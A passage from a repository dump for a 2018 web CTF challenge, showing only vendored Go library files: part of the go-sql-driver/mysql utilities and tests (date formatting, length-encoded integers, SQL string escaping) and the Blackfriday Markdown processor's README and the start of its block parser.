be up to 10 when negative and 100+ hours)\n\t\t\t10, 11, 12, 13, 14, 15: // time with fractional seconds\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"illegal TIME length %d\", length)\n\t\t}\n\t\tswitch len(src) {\n\t\tcase 8, 12:\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"invalid TIME packet length %d\", len(src))\n\t\t}\n\t\t// +2 to enable negative time and 100+ hours\n\t\tdst = make([]byte, 0, length+2)\n\t\tif src[0] == 1 {\n\t\t\tdst = append(dst, '-')\n\t\t}\n\t\tif src[1] != 0 {\n\t\t\thour := uint16(src[1])*24 + uint16(src[5])\n\t\t\tpt = byte(hour / 100)\n\t\t\tp1 = byte(hour - 100*uint16(pt))\n\t\t\tdst = append(dst, digits01[pt])\n\t\t} else {\n\t\t\tp1 = src[5]\n\t\t}\n\t\tzOffs = 11\n\t\tsrc = src[6:]\n\t} else {\n\t\tswitch length {\n\t\tcase 10, 19, 21, 22, 23, 24, 25, 26:\n\t\tdefault:\n\t\t\tt := \"DATE\"\n\t\t\tif length > 10 {\n\t\t\t\tt += \"TIME\"\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"illegal %s length %d\", t, length)\n\t\t}\n\t\tswitch len(src) {\n\t\tcase 4, 7, 11:\n\t\tdefault:\n\t\t\tt := \"DATE\"\n\t\t\tif length > 10 {\n\t\t\t\tt += \"TIME\"\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"illegal %s packet length %d\", t, len(src))\n\t\t}\n\t\tdst = make([]byte, 0, length)\n\t\t// start with the date\n\t\tyear := binary.LittleEndian.Uint16(src[:2])\n\t\tpt = byte(year / 100)\n\t\tp1 = byte(year - 100*uint16(pt))\n\t\tp2, p3 = src[2], src[3]\n\t\tdst = append(dst,\n\t\t\tdigits10[pt], digits01[pt],\n\t\t\tdigits10[p1], digits01[p1], '-',\n\t\t\tdigits10[p2], digits01[p2], '-',\n\t\t\tdigits10[p3], digits01[p3],\n\t\t)\n\t\tif length == 10 {\n\t\t\treturn dst, nil\n\t\t}\n\t\tif len(src) == 4 {\n\t\t\treturn append(dst, zeroDateTime[10:length]...), nil\n\t\t}\n\t\tdst = append(dst, ' ')\n\t\tp1 = src[4] // hour\n\t\tsrc = src[5:]\n\t}\n\t// p1 is 2-digit hour, src is after hour\n\tp2, p3 = src[0], src[1]\n\tdst = append(dst,\n\t\tdigits10[p1], digits01[p1], ':',\n\t\tdigits10[p2], digits01[p2], ':',\n\t\tdigits10[p3], digits01[p3],\n\t)\n\tif length <= byte(len(dst)) {\n\t\treturn dst, nil\n\t}\n\tsrc = src[2:]\n\tif len(src) == 0 {\n\t\treturn append(dst, zeroDateTime[19:zOffs+length]...), nil\n\t}\n\tmicrosecs := binary.LittleEndian.Uint32(src[:4])\n\tp1 = byte(microsecs / 10000)\n\tmicrosecs -= 10000 * uint32(p1)\n\tp2 = byte(microsecs / 100)\n\tmicrosecs -= 100 * uint32(p2)\n\tp3 = byte(microsecs)\n\tswitch decimals := zOffs + length - 20; decimals {\n\tdefault:\n\t\treturn append(dst, '.',\n\t\t\tdigits10[p1], digits01[p1],\n\t\t\tdigits10[p2], digits01[p2],\n\t\t\tdigits10[p3], digits01[p3],\n\t\t), nil\n\tcase 1:\n\t\treturn append(dst, '.',\n\t\t\tdigits10[p1],\n\t\t), nil\n\tcase 2:\n\t\treturn append(dst, '.',\n\t\t\tdigits10[p1], digits01[p1],\n\t\t), nil\n\tcase 3:\n\t\treturn append(dst, '.',\n\t\t\tdigits10[p1], digits01[p1],\n\t\t\tdigits10[p2],\n\t\t), nil\n\tcase 4:\n\t\treturn append(dst, '.',\n\t\t\tdigits10[p1], digits01[p1],\n\t\t\tdigits10[p2], digits01[p2],\n\t\t), nil\n\tcase 5:\n\t\treturn append(dst, '.',\n\t\t\tdigits10[p1], digits01[p1],\n\t\t\tdigits10[p2], digits01[p2],\n\t\t\tdigits10[p3],\n\t\t), nil\n\t}\n}\n\n/******************************************************************************\n*                       Convert from and to bytes                             *\n******************************************************************************/\n\nfunc uint64ToBytes(n uint64) []byte {\n\treturn []byte{\n\t\tbyte(n),\n\t\tbyte(n >> 8),\n\t\tbyte(n >> 16),\n\t\tbyte(n >> 24),\n\t\tbyte(n >> 32),\n\t\tbyte(n >> 40),\n\t\tbyte(n >> 48),\n\t\tbyte(n >> 56),\n\t}\n}\n\nfunc uint64ToString(n uint64) []byte {\n\tvar a [20]byte\n\ti := 20\n\n\t// U+0030 = 0\n\t// ...\n\t// U+0039 = 9\n\n\tvar q uint64\n\tfor n >= 10 {\n\t\ti--\n\t\tq = n / 10\n\t\ta[i] = uint8(n-q*10) + 0x30\n\t\tn = q\n\t}\n\n\ti--\n\ta[i] = uint8(n) + 0x30\n\n\treturn a[i:]\n}\n\n// treats string value as unsigned integer representation\nfunc stringToInt(b []byte) int {\n\tval := 0\n\tfor i := range b {\n\t\tval *= 10\n\t\tval += int(b[i] - 0x30)\n\t}\n\treturn val\n}\n\n// returns the string read as a bytes slice, wheter the value is NULL,\n// the number of bytes read and an error, in case the string is longer than\n// the input slice\nfunc readLengthEncodedString(b []byte) ([]byte, bool, int, error) {\n\t// Get length\n\tnum, isNull, n := readLengthEncodedInteger(b)\n\tif num < 1 {\n\t\treturn b[n:n], isNull, n, nil\n\t}\n\n\tn += int(num)\n\n\t// Check data length\n\tif len(b) >= n {\n\t\treturn b[n-int(num) : n], false, n, nil\n\t}\n\treturn nil, false, n, io.EOF\n}\n\n// returns the number of bytes skipped and an error, in case the string is\n// longer than the input slice\nfunc skipLengthEncodedString(b []byte) (int, error) {\n\t// Get length\n\tnum, _, n := readLengthEncodedInteger(b)\n\tif num < 1 {\n\t\treturn n, nil\n\t}\n\n\tn += int(num)\n\n\t// Check data length\n\tif len(b) >= n {\n\t\treturn n, nil\n\t}\n\treturn n, io.EOF\n}\n\n// returns the number read, whether the value is NULL and the number of bytes read\nfunc readLengthEncodedInteger(b []byte) (uint64, bool, int) {\n\t// See issue #349\n\tif len(b) == 0 {\n\t\treturn 0, true, 1\n\t}\n\tswitch b[0] {\n\n\t// 251: NULL\n\tcase 0xfb:\n\t\treturn 0, true, 1\n\n\t// 252: value of following 2\n\tcase 0xfc:\n\t\treturn uint64(b[1]) | uint64(b[2])<<8, false, 3\n\n\t// 253: value of following 3\n\tcase 0xfd:\n\t\treturn uint64(b[1]) | uint64(b[2])<<8 | uint64(b[3])<<16, false, 4\n\n\t// 254: value of following 8\n\tcase 0xfe:\n\t\treturn uint64(b[1]) | uint64(b[2])<<8 | uint64(b[3])<<16 |\n\t\t\t\tuint64(b[4])<<24 | uint64(b[5])<<32 | uint64(b[6])<<40 |\n\t\t\t\tuint64(b[7])<<48 | uint64(b[8])<<56,\n\t\t\tfalse, 9\n\t}\n\n\t// 0-250: value of first byte\n\treturn uint64(b[0]), false, 1\n}\n\n// encodes a uint64 value and appends it to the given bytes slice\nfunc appendLengthEncodedInteger(b []byte, n uint64) []byte {\n\tswitch {\n\tcase n <= 250:\n\t\treturn append(b, byte(n))\n\n\tcase n <= 0xffff:\n\t\treturn append(b, 0xfc, byte(n), byte(n>>8))\n\n\tcase n <= 0xffffff:\n\t\treturn append(b, 0xfd, byte(n), byte(n>>8), byte(n>>16))\n\t}\n\treturn append(b, 0xfe, byte(n), byte(n>>8), byte(n>>16), byte(n>>24),\n\t\tbyte(n>>32), byte(n>>40), byte(n>>48), byte(n>>56))\n}\n\n// reserveBuffer checks cap(buf) and expand buffer to len(buf) + appendSize.\n// If cap(buf) is not enough, reallocate new buffer.\nfunc reserveBuffer(buf []byte, appendSize int) []byte {\n\tnewSize := len(buf) + appendSize\n\tif cap(buf) < newSize {\n\t\t// Grow buffer exponentially\n\t\tnewBuf := make([]byte, len(buf)*2+appendSize)\n\t\tcopy(newBuf, buf)\n\t\tbuf = newBuf\n\t}\n\treturn buf[:newSize]\n}\n\n// escapeBytesBackslash escapes []byte with backslashes (\\)\n// This escapes the contents of a string (provided as []byte) by adding backslashes before special\n// characters, and turning others into specific escape sequences, such as\n// turning newlines into \\n and null bytes into \\0.\n// https://github.com/mysql/mysql-server/blob/mysql-5.7.5/mysys/charset.c#L823-L932\nfunc escapeBytesBackslash(buf, v []byte) []byte {\n\tpos := len(buf)\n\tbuf = reserveBuffer(buf, len(v)*2)\n\n\tfor _, c := range v {\n\t\tswitch c {\n\t\tcase '\\x00':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '0'\n\t\t\tpos += 2\n\t\tcase '\\n':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = 'n'\n\t\t\tpos += 2\n\t\tcase '\\r':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = 'r'\n\t\t\tpos += 2\n\t\tcase '\\x1a':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = 'Z'\n\t\t\tpos += 2\n\t\tcase '\\'':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '\\''\n\t\t\tpos += 2\n\t\tcase '\"':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '\"'\n\t\t\tpos += 2\n\t\tcase '\\\\':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '\\\\'\n\t\t\tpos += 2\n\t\tdefault:\n\t\t\tbuf[pos] = c\n\t\t\tpos++\n\t\t}\n\t}\n\n\treturn buf[:pos]\n}\n\n// escapeStringBackslash is similar to escapeBytesBackslash but for string.\nfunc escapeStringBackslash(buf []byte, v string) []byte {\n\tpos := len(buf)\n\tbuf = reserveBuffer(buf, len(v)*2)\n\n\tfor i := 0; i < len(v); i++ {\n\t\tc := v[i]\n\t\tswitch c {\n\t\tcase '\\x00':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '0'\n\t\t\tpos += 2\n\t\tcase '\\n':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = 'n'\n\t\t\tpos += 2\n\t\tcase '\\r':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = 'r'\n\t\t\tpos += 2\n\t\tcase '\\x1a':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = 'Z'\n\t\t\tpos += 2\n\t\tcase '\\'':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '\\''\n\t\t\tpos += 2\n\t\tcase '\"':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '\"'\n\t\t\tpos += 2\n\t\tcase '\\\\':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '\\\\'\n\t\t\tpos += 2\n\t\tdefault:\n\t\t\tbuf[pos] = c\n\t\t\tpos++\n\t\t}\n\t}\n\n\treturn buf[:pos]\n}\n\n// escapeBytesQuotes escapes apostrophes in []byte by doubling them up.\n// This escapes the contents of a string by doubling up any apostrophes that\n// it contains. This is used when the NO_BACKSLASH_ESCAPES SQL_MODE is in\n// effect on the server.\n// https://github.com/mysql/mysql-server/blob/mysql-5.7.5/mysys/charset.c#L963-L1038\nfunc escapeBytesQuotes(buf, v []byte) []byte {\n\tpos := len(buf)\n\tbuf = reserveBuffer(buf, len(v)*2)\n\n\tfor _, c := range v {\n\t\tif c == '\\'' {\n\t\t\tbuf[pos] = '\\''\n\t\t\tbuf[pos+1] = '\\''\n\t\t\tpos += 2\n\t\t} else {\n\t\t\tbuf[pos] = c\n\t\t\tpos++\n\t\t}\n\t}\n\n\treturn buf[:pos]\n}\n\n// escapeStringQuotes is similar to escapeBytesQuotes but for string.\nfunc escapeStringQuotes(buf []byte, v string) []byte {\n\tpos := len(buf)\n\tbuf = reserveBuffer(buf, len(v)*2)\n\n\tfor i := 0; i < len(v); i++ {\n\t\tc := v[i]\n\t\tif c == '\\'' {\n\t\t\tbuf[pos] = '\\''\n\t\t\tbuf[pos+1] = '\\''\n\t\t\tpos += 2\n\t\t} else {\n\t\t\tbuf[pos] = c\n\t\t\tpos++\n\t\t}\n\t}\n\n\treturn buf[:pos]\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/utils_test.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestScanNullTime(t *testing.T) {\n\tvar scanTests = []struct {\n\t\tin    interface{}\n\t\terror bool\n\t\tvalid bool\n\t\ttime  time.Time\n\t}{\n\t\t{tDate, false, true, tDate},\n\t\t{sDate, false, true, tDate},\n\t\t{[]byte(sDate), false, true, tDate},\n\t\t{tDateTime, false, true, tDateTime},\n\t\t{sDateTime, false, true, tDateTime},\n\t\t{[]byte(sDateTime), false, true, tDateTime},\n\t\t{tDate0, false, true, tDate0},\n\t\t{sDate0, false, true, tDate0},\n\t\t{[]byte(sDate0), false, true, tDate0},\n\t\t{sDateTime0, false, true, tDate0},\n\t\t{[]byte(sDateTime0), false, true, tDate0},\n\t\t{\"\", true, false, tDate0},\n\t\t{\"1234\", true, false, tDate0},\n\t\t{0, true, false, tDate0},\n\t}\n\n\tvar nt = NullTime{}\n\tvar err error\n\n\tfor _, tst := range scanTests {\n\t\terr = nt.Scan(tst.in)\n\t\tif (err != nil) != tst.error {\n\t\t\tt.Errorf(\"%v: expected error status %t, got %t\", tst.in, tst.error, (err != nil))\n\t\t}\n\t\tif nt.Valid != tst.valid {\n\t\t\tt.Errorf(\"%v: expected valid status %t, got %t\", tst.in, tst.valid, nt.Valid)\n\t\t}\n\t\tif nt.Time != tst.time {\n\t\t\tt.Errorf(\"%v: expected time %v, got %v\", tst.in, tst.time, nt.Time)\n\t\t}\n\t}\n}\n\nfunc TestLengthEncodedInteger(t *testing.T) {\n\tvar integerTests = []struct {\n\t\tnum     uint64\n\t\tencoded []byte\n\t}{\n\t\t{0x0000000000000000, []byte{0x00}},\n\t\t{0x0000000000000012, []byte{0x12}},\n\t\t{0x00000000000000fa, []byte{0xfa}},\n\t\t{0x0000000000000100, []byte{0xfc, 0x00, 0x01}},\n\t\t{0x0000000000001234, []byte{0xfc, 0x34, 0x12}},\n\t\t{0x000000000000ffff, []byte{0xfc, 0xff, 0xff}},\n\t\t{0x0000000000010000, []byte{0xfd, 0x00, 0x00, 0x01}},\n\t\t{0x0000000000123456, []byte{0xfd, 0x56, 0x34, 0x12}},\n\t\t{0x0000000000ffffff, []byte{0xfd, 0xff, 0xff, 0xff}},\n\t\t{0x0000000001000000, []byte{0xfe, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00}},\n\t\t{0x123456789abcdef0, []byte{0xfe, 0xf0, 0xde, 0xbc, 0x9a, 0x78, 0x56, 0x34, 0x12}},\n\t\t{0xffffffffffffffff, []byte{0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}},\n\t}\n\n\tfor _, tst := range integerTests {\n\t\tnum, isNull, numLen := readLengthEncodedInteger(tst.encoded)\n\t\tif isNull {\n\t\t\tt.Errorf(\"%x: expected %d, got NULL\", tst.encoded, tst.num)\n\t\t}\n\t\tif num != tst.num {\n\t\t\tt.Errorf(\"%x: expected %d, got %d\", tst.encoded, tst.num, num)\n\t\t}\n\t\tif numLen != len(tst.encoded) {\n\t\t\tt.Errorf(\"%x: expected size %d, got %d\", tst.encoded, len(tst.encoded), numLen)\n\t\t}\n\t\tencoded := appendLengthEncodedInteger(nil, num)\n\t\tif !bytes.Equal(encoded, tst.encoded) {\n\t\t\tt.Errorf(\"%v: expected %x, got %x\", num, tst.encoded, encoded)\n\t\t}\n\t}\n}\n\nfunc TestOldPass(t *testing.T) {\n\tscramble := []byte{9, 8, 7, 6, 5, 4, 3, 2}\n\tvectors := []struct {\n\t\tpass string\n\t\tout  string\n\t}{\n\t\t{\" pass\", \"47575c5a435b4251\"},\n\t\t{\"pass \", \"47575c5a435b4251\"},\n\t\t{\"123\\t456\", \"575c47505b5b5559\"},\n\t\t{\"C0mpl!ca ted#PASS123\", \"5d5d554849584a45\"},\n\t}\n\tfor _, tuple := range vectors {\n\t\tours := scrambleOldPassword(scramble, []byte(tuple.pass))\n\t\tif tuple.out != fmt.Sprintf(\"%x\", ours) {\n\t\t\tt.Errorf(\"Failed old password %q\", tuple.pass)\n\t\t}\n\t}\n}\n\nfunc TestFormatBinaryDateTime(t *testing.T) {\n\trawDate := [11]byte{}\n\tbinary.LittleEndian.PutUint16(rawDate[:2], 1978)   // years\n\trawDate[2] = 12                                    // months\n\trawDate[3] = 30                                    // days\n\trawDate[4] = 15                                    // hours\n\trawDate[5] = 46                                    // minutes\n\trawDate[6] = 23                                    // seconds\n\tbinary.LittleEndian.PutUint32(rawDate[7:], 987654) // microseconds\n\texpect := func(expected string, inlen, outlen uint8) {\n\t\tactual, _ := formatBinaryDateTime(rawDate[:inlen], outlen, false)\n\t\tbytes, ok := actual.([]byte)\n\t\tif !ok {\n\t\t\tt.Errorf(\"formatBinaryDateTime must return []byte, was %T\", actual)\n\t\t}\n\t\tif string(bytes) != expected {\n\t\t\tt.Errorf(\n\t\t\t\t\"expected %q, got %q for length in %d, out %d\",\n\t\t\t\tbytes, actual, inlen, outlen,\n\t\t\t)\n\t\t}\n\t}\n\texpect(\"0000-00-00\", 0, 10)\n\texpect(\"0000-00-00 00:00:00\", 0, 19)\n\texpect(\"1978-12-30\", 4, 10)\n\texpect(\"1978-12-30 15:46:23\", 7, 19)\n\texpect(\"1978-12-30 15:46:23.987654\", 11, 26)\n}\n\nfunc TestEscapeBackslash(t *testing.T) {\n\texpect := func(expected, value string) {\n\t\tactual := string(escapeBytesBackslash([]byte{}, []byte(value)))\n\t\tif actual != expected {\n\t\t\tt.Errorf(\n\t\t\t\t\"expected %s, got %s\",\n\t\t\t\texpected, actual,\n\t\t\t)\n\t\t}\n\n\t\tactual = string(escapeStringBackslash([]byte{}, value))\n\t\tif actual != expected {\n\t\t\tt.Errorf(\n\t\t\t\t\"expected %s, got %s\",\n\t\t\t\texpected, actual,\n\t\t\t)\n\t\t}\n\t}\n\n\texpect(\"foo\\\\0bar\", \"foo\\x00bar\")\n\texpect(\"foo\\\\nbar\", \"foo\\nbar\")\n\texpect(\"foo\\\\rbar\", \"foo\\rbar\")\n\texpect(\"foo\\\\Zbar\", \"foo\\x1abar\")\n\texpect(\"foo\\\\\\\"bar\", \"foo\\\"bar\")\n\texpect(\"foo\\\\\\\\bar\", \"foo\\\\bar\")\n\texpect(\"foo\\\\'bar\", \"foo'bar\")\n}\n\nfunc TestEscapeQuotes(t *testing.T) {\n\texpect := func(expected, value string) {\n\t\tactual := string(escapeBytesQuotes([]byte{}, []byte(value)))\n\t\tif actual != expected {\n\t\t\tt.Errorf(\n\t\t\t\t\"expected %s, got %s\",\n\t\t\t\texpected, actual,\n\t\t\t)\n\t\t}\n\n\t\tactual = string(escapeStringQuotes([]byte{}, value))\n\t\tif actual != expected {\n\t\t\tt.Errorf(\n\t\t\t\t\"expected %s, got %s\",\n\t\t\t\texpected, actual,\n\t\t\t)\n\t\t}\n\t}\n\n\texpect(\"foo\\x00bar\", \"foo\\x00bar\") // not affected\n\texpect(\"foo\\nbar\", \"foo\\nbar\")     // not affected\n\texpect(\"foo\\rbar\", \"foo\\rbar\")     // not affected\n\texpect(\"foo\\x1abar\", \"foo\\x1abar\") // not affected\n\texpect(\"foo''bar\", \"foo'bar\")      // affected\n\texpect(\"foo\\\"bar\", \"foo\\\"bar\")     // not affected\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/.gitignore",
    "content": "*.out\n*.swp\n*.8\n*.6\n_obj\n_test*\nmarkdown\ntags\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/README.md",
    "content": "Blackfriday\n===========\n\nBlackfriday is a [Markdown][1] processor implemented in [Go][2]. It\nis paranoid about its input (so you can safely feed it user-supplied\ndata), it is fast, it supports common extensions (tables, smart\npunctuation substitutions, etc.), and it is safe for all utf-8\n(unicode) input.\n\nHTML output is currently supported, along with Smartypants\nextensions. An experimental LaTeX output engine is also included.\n\nIt started as a translation from C of [upskirt][3].\n\n\nInstallation\n------------\n\nBlackfriday is compatible with Go 1. If you are using an older\nrelease of Go, consider using v1.1 of blackfriday, which was based\non the last stable release of Go prior to Go 1. You can find it as a\ntagged commit on github.\n\nWith Go 1 and git installed:\n\n    go get github.com/russross/blackfriday\n\nwill download, compile, and install the package into your `$GOROOT`\ndirectory hierarchy. Alternatively, you can import it into a\nproject:\n\n    import \"github.com/russross/blackfriday\"\n\nand when you build that project with `go build`, blackfriday will be\ndownloaded and installed automatically.\n\nFor basic usage, it is as simple as getting your input into a byte\nslice and calling:\n\n    output := blackfriday.MarkdownBasic(input)\n\nThis renders it with no extensions enabled. To get a more useful\nfeature set, use this instead:\n\n    output := blackfriday.MarkdownCommon(input)\n\nIf you want to customize the set of options, first get a renderer\n(currently either the HTML or LaTeX output engines), then use it to\ncall the more general `Markdown` function. For examples, see the\nimplementations of `MarkdownBasic` and `MarkdownCommon` in\n`markdown.go`.\n\nYou can also check out `blackfriday-tool` for a more complete example\nof how to use it. Download and install it using:\n\n    go get github.com/russross/blackfriday-tool\n\nThis is a simple command-line tool that allows you to process a\nmarkdown file using a standalone program.  You can also browse the\nsource directly on github if you are just looking for some example\ncode:\n\n* <http://github.com/russross/blackfriday-tool>\n\nNote that if you have not already done so, installing\n`blackfriday-tool` will be sufficient to download and install\nblackfriday in addition to the tool itself. The tool binary will be\ninstalled in `$GOROOT/bin`.  This is a statically-linked binary that\ncan be copied to wherever you need it without worrying about\ndependencies and library versions.\n\n\nFeatures\n--------\n\nAll features of upskirt are supported, including:\n\n*   **Compatibility**. The Markdown v1.0.3 test suite passes with\n    the `--tidy` option.  Without `--tidy`, the differences are\n    mostly in whitespace and entity escaping, where blackfriday is\n    more consistent and cleaner.\n\n*   **Common extensions**, including table support, fenced code\n    blocks, autolinks, strikethroughs, non-strict emphasis, etc.\n\n*   **Safety**. Blackfriday is paranoid when parsing, making it safe\n    to feed untrusted user input without fear of bad things\n    happening. The test suite stress tests this and there are no\n    known inputs that make it crash.  If you find one, please let me\n    know and send me the input that does it.\n\n*   **Fast processing**. It is fast enough to render on-demand in\n    most web applications without having to cache the output.\n\n*   **Thread safety**. You can run multiple parsers in different\n    goroutines without ill effect. There is no dependence on global\n    shared state.\n\n*   **Minimal dependencies**. Blackfriday only depends on standard\n    library packages in Go. The source code is pretty\n    self-contained, so it is easy to add to any project, including\n    Google App Engine projects.\n\n*   **Standards compliant**. Output successfully validates using the\n    W3C validation tool for HTML 4.01 and XHTML 1.0 Transitional.\n\n\nExtensions\n----------\n\nIn addition to the standard markdown syntax, this package\nimplements the following extensions:\n\n*   **Intra-word emphasis supression**. The `_` character is\n    commonly used inside words when discussing code, so having\n    markdown interpret it as an emphasis command is usually the\n    wrong thing. Blackfriday lets you treat all emphasis markers as\n    normal characters when they occur inside a word.\n\n*   **Tables**. Tables can be created by drawing them in the input\n    using a simple syntax:\n\n    ```\n    Name    | Age\n    --------|------\n    Bob     | 27\n    Alice   | 23\n    ```\n\n*   **Fenced code blocks**. In addition to the normal 4-space\n    indentation to mark code blocks, you can explicitly mark them\n    and supply a language (to make syntax highlighting simple). Just\n    mark it like this:\n\n        ``` go\n        func getTrue() bool {\n            return true\n        }\n        ```\n\n    You can use 3 or more backticks to mark the beginning of the\n    block, and the same number to mark the end of the block.\n\n*   **Autolinking**. Blackfriday can find URLs that have not been\n    explicitly marked as links and turn them into links.\n\n*   **Strikethrough**. Use two tildes (`~~`) to mark text that\n    should be crossed out.\n\n*   **Hard line breaks**. With this extension enabled (it is off by\n    default in the `MarkdownBasic` and `MarkdownCommon` convenience\n    functions), newlines in the input translate into line breaks in\n    the output.\n\n*   **Smart quotes**. Smartypants-style punctuation substitution is\n    supported, turning normal double- and single-quote marks into\n    curly quotes, etc.\n\n*   **LaTeX-style dash parsing** is an additional option, where `--`\n    is translated into `&ndash;`, and `---` is translated into\n    `&mdash;`. This differs from most smartypants processors, which\n    turn a single hyphen into an ndash and a double hyphen into an\n    mdash.\n\n*   **Smart fractions**, where anything that looks like a fraction\n    is translated into suitable HTML (instead of just a few special\n    cases like most smartypant processors). For example, `4/5`\n    becomes `<sup>4</sup>&frasl;<sub>5</sub>`, which renders as\n    <sup>4</sup>&frasl;<sub>5</sub>.\n\n\nLaTeX Output\n------------\n\nA rudimentary LaTeX rendering backend is also included. To see an\nexample of its usage, see `main.go`:\n\nIt renders some basic documents, but is only experimental at this\npoint. In particular, it does not do any inline escaping, so input\nthat happens to look like LaTeX code will be passed through without\nmodification.\n\n\nTodo\n----\n\n*   More unit testing\n*   Markdown pretty-printer output engine\n*   Improve unicode support. It does not understand all unicode\n    rules (about what constitutes a letter, a punctuation symbol,\n    etc.), so it may fail to detect word boundaries correctly in\n    some instances. It is safe on all utf-8 input.\n\n\nLicense\n-------\n\nBlackfriday is distributed under the Simplified BSD License:\n\n> Copyright © 2011 Russ Ross\n> All rights reserved.\n> \n> Redistribution and use in source and binary forms, with or without\n> modification, are permitted provided that the following conditions\n> are met:\n> \n> 1.  Redistributions of source code must retain the above copyright\n>     notice, this list of conditions and the following disclaimer.\n> \n> 2.  Redistributions in binary form must reproduce the above\n>     copyright notice, this list of conditions and the following\n>     disclaimer in the documentation and/or other materials provided with\n>     the distribution.\n> \n> THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n> \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n> LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n> FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n> COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n> INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n> BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n> LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n> CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n> LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n> ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n> POSSIBILITY OF SUCH DAMAGE.\n\n\n   [1]: http://daringfireball.net/projects/markdown/ \"Markdown\"\n   [2]: http://golang.org/ \"Go Language\"\n   [3]: http://github.com/tanoku/upskirt \"Upskirt\"\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/block.go",
    "content": "//\n// Blackfriday Markdown Processor\n// Available at http://github.com/russross/blackfriday\n//\n// Copyright © 2011 Russ Ross <russ@russross.com>.\n// Distributed under the Simplified BSD License.\n// See README.md for details.\n//\n\n//\n// Functions to parse block-level elements.\n//\n\npackage blackfriday\n\nimport (\n\t\"bytes\"\n)\n\n// Parse block-level data.\n// Note: this function and many that it calls assume that\n// the input buffer ends with a newline.\nfunc (p *parser) block(out *bytes.Buffer, data []byte) {\n\tif len(data) == 0 || data[len(data)-1] != '\\n' {\n\t\tpanic(\"block input is missing terminating newline\")\n\t}\n\n\t// this is called recursively: enforce a maximum depth\n\tif p.nesting >= p.maxNesting {\n\t\treturn\n\t}\n\tp.nesting++\n\n\t// parse out one block-level construct at a time\n\tfor len(data) > 0 {\n\t\t// prefixed header:\n\t\t//\n\t\t// # Header 1\n\t\t// ## Header 2\n\t\t// ...\n\t\t// ###### Header 6\n\t\tif p.isPrefixHeader(data) {\n\t\t\tdata = data[p.prefixHeader(out, data):]\n\t\t\tcontinue\n\t\t}\n\n\t\t// block of preformatted HTML:\n\t\t//\n\t\t// <div>\n\t\t//     ...\n\t\t// </div>\n\t\tif data[0] == '<' {\n\t\t\tif i := p.html(out, data, true); i > 0 {\n\t\t\t\tdata = data[i:]\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\t// blank lines.  note: returns the # of bytes to skip\n\t\tif i := p.isEmpty(data); i > 0 {\n\t\t\tdata = data[i:]\n\t\t\tcontinue\n\t\t}\n\n\t\t// indented code block:\n\t\t//\n\t\t//     func max(a, b int) int {\n\t\t//         if a > b {\n\t\t//             return a\n\t\t//         }\n\t\t//         return b\n\t\t//      }\n\t\tif p.codePrefix(data) > 0 {\n\t\t\tdata = data[p.code(out, data):]\n\t\t\tcontinue\n\t\t}\n\n\t\t// fenced code block:\n\t\t//\n\t\t// ``` go\n\t\t// func fact(n int) int {\n\t\t//     if n <= 1 {\n\t\t//         return n\n\t\t//     }\n\t\t//     return n * fact(n-1)\n\t\t// }\n\t\t// ```\n\t\tif p.flags&EXTENSION_FENCED_CODE != 0 {\n\t\t\tif i := p.fencedCode(out, data); i > 0 {\n\t\t\t\tdata = data[i:]\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\t// horizontal rule:\n\t\t//\n\t\t// ------\n\t\t// or\n\t\t// ******\n\t\t// or\n\t\t// ______\n\t\tif p.isHRule(data) 